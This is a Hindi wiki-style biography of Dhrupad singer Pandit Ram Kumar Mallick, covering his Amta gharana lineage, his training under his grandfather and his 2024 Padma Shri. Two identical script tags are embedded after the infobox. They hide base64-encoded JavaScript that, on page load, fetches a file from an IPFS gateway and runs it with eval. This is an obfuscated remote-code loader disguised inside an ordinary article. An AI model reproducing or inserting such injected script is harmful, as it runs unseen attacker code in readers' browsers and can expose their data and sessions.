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'''पंडित राम कुमार मल्लिक''' ([[अंग्रेज़ी]]: ''Pandit Ram Kumar Mallick'', जन्म- [[1957]]) ध्रुपद संगीत के प्रसिद्ध गायक हैं। वह अमता घराने (परंपरा) के प्रतिष्ठित संगीत परिवार से आते हैं। वह अपने [[परिवार]] के संगीत पीढ़ी को बढ़ाने वाले 12वीं पीढ़ी हैं। पं. राम कुमार मल्लिक को ध्रुपद संगीत अपने [[पिता]] और विश्व प्रसिद्ध ध्रुपद लीजेंड पं. विदुर मल्लिक से विरासत में मिला है। [[भारत सरकार]] ने राम कुमार मल्लिक को साल [[2024]] में [[पद्म श्री]] देकर सम्मानित किया है।
  
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*उन्हें ध्रुपद संगीत की कई रचनाओं की जानकारी प्राप्त है।
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*राम कुमार मल्लिक के गायन में ध्रुपद हिंदुस्तानी शास्त्रीय संगीत सबसे प्राचीन और शक्तिशाली शैली है, जो आध्यात्मिक युग (अध्यात्म काल) से जुड़ी है।
 
*राम कुमार मल्लिक के गायन में ध्रुपद हिंदुस्तानी शास्त्रीय संगीत सबसे प्राचीन और शक्तिशाली शैली है, जो आध्यात्मिक युग (अध्यात्म काल) से जुड़ी है।
 
*ध्रुपद संगीत एक दिव्य साधना है, जिसे इसकी प्रस्तुति के साथ-साथ संगीत साधना में भी महसूस किया जा सकता है।
 
*ध्रुपद संगीत एक दिव्य साधना है, जिसे इसकी प्रस्तुति के साथ-साथ संगीत साधना में भी महसूस किया जा सकता है।
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04:41, 27 मार्च 2024 के समय का अवतरण

राम कुमार मल्लिक
राम कुमार मल्लिक
पूरा नाम पंडित राम कुमार मल्लिक
जन्म 1957
जन्म भूमि अमता गांव, बहेड़ी प्रखंड, दरभंगा
कर्म भूमि भारत
कर्म-क्षेत्र शास्त्रीय गायन
पुरस्कार-उपाधि पद्म श्री, 2024
प्रसिद्धि ध्रुपद गायक
नागरिकता भारतीय
घराना अमता
अन्य जानकारी पंडित राम कुमार मल्लिक को अपने दादा पंडित सुखदेव मल्लिक से ध्रुपद सीखने का अवसर मिला। वह अपना प्रथम गुरु अपने दादा सुखदेव मल्लिक को बताते हैं।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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पंडित राम कुमार मल्लिक (अंग्रेज़ी: Pandit Ram Kumar Mallick, जन्म- 1957) ध्रुपद संगीत के प्रसिद्ध गायक हैं। वह अमता घराने (परंपरा) के प्रतिष्ठित संगीत परिवार से आते हैं। वह अपने परिवार के संगीत पीढ़ी को बढ़ाने वाले 12वीं पीढ़ी हैं। पं. राम कुमार मल्लिक को ध्रुपद संगीत अपने पिता और विश्व प्रसिद्ध ध्रुपद लीजेंड पं. विदुर मल्लिक से विरासत में मिला है। भारत सरकार ने राम कुमार मल्लिक को साल 2024 में पद्म श्री देकर सम्मानित किया है।

  • दरभंगा जिले के बहेरी प्रखड के अमता गांव निवासी राम कुमार मल्लिक को सरकार ने कला के क्षेत्र में उत्कृष्ट कार्यों के लिए पद्म श्री दिया है।
  • राम कुमार मल्लिक का जन्म सन 1957 में दरभंगा के बहेड़ी प्रखंड के अमता गांव में हुआ था। वह अमता घराने के प्रतिष्ठित संगीत परिवार से आते हैं।
  • पंडित राम कुमार मल्लिक को अपने दादा पंडित सुखदेव मल्लिक से ध्रुपद सीखने का अवसर मिला। वह अपना प्रथम गुरु अपने दादा सुखदेव मल्लिक को बताते हैं।
  • उन्हें ध्रुपद संगीत की कई रचनाओं की जानकारी प्राप्त है।
  • उनके उत्कृष्ट संगीत और हिंदुस्तानी शास्त्रीय संगीत में योगदान के लिए उन्हें कई प्रतिष्ठित पुरस्कारों से पहले भी सम्मानित किया जा चुका है।
  • राम कुमार मल्लिक के गायन में ध्रुपद हिंदुस्तानी शास्त्रीय संगीत सबसे प्राचीन और शक्तिशाली शैली है, जो आध्यात्मिक युग (अध्यात्म काल) से जुड़ी है।
  • ध्रुपद संगीत एक दिव्य साधना है, जिसे इसकी प्रस्तुति के साथ-साथ संगीत साधना में भी महसूस किया जा सकता है।
  • उनका गायन उनके द्वारा प्रस्तुत रचनाओं के समृद्ध भंडार, खंडारवाणी और गौरहरवाणी मुहावरों के साथ उनकी बातचीत और लयकारी और तिहायियों की विविधता के लिए जाना जाता है, जिन्हें वह कुशलता से प्रस्तुत करते हैं।
  • पंडित राम कुमार मलिक ऑल इंडिया रेडियो और टीवी के ए ग्रेड कलाकार हैं, जिनके ध्रुपद गायन नियमित रूप से प्रसारित होते हैं।


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टीका टिप्पणी और संदर्भ

संबंधित लेख

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